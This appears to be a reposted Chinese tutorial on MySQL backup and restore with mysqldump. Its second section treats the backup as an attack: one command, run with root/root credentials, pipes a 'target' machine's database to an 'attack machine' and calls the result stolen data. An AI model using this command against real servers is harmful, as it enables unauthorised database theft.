如何进行数据库备份

Posted zzjdbk

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何进行数据库备份相关的知识,希望对你有一定的参考价值。

1.将数据库,表,导出到本机
在命令行中转到mysql的bin目录下
输入命令:mysqldump -u root -p sqltest > D:data.txt
然后再输入密码

技术图片

 

然后就会成功导出到D:盘目录下

技术图片

 

2.导出到其他主机上(必须开启mysql外链,注意:攻击机和目标机都要开启mysql外链)
在目标机上输入导出数据库的命令
mysqldump --default-character-set=utf8mb4 --host=192.168.0.102 -uroot -proot --opt sqltest | mysql --host=192.168.61.129 -uroot -proot --default-character-set=utf8mb4 -C daochu
技术图片

 

Ps:解释一下,它是把目标机上(192.168.0.102)的‘sqltest‘数据库导出到攻击机(192.168.61.129)的‘daochu‘这个数据库中

结果:成功完成了‘脱裤‘

技术图片

 

 

3.将备份的数据导入到mysql数据库中

如果你需要将备份的数据库导入到MySQL服务器中,可以使用以下命令,使用以下命令你需要确认数据库已经创建:

mysql -u root -p database_name < dump.txt
password *****

以上是关于如何进行数据库备份的主要内容,如果未能解决你的问题,请参考以下文章

数据库如何备份

LINUX下如何直接对MYSQL数据库进行备份?

mysqldump如何针对某些数据库进行备份?针对某个数据库进行备份?

如何备份hadoop数据

如何进行数据库备份和恢复 mysql

阿里云 如何进行数据备份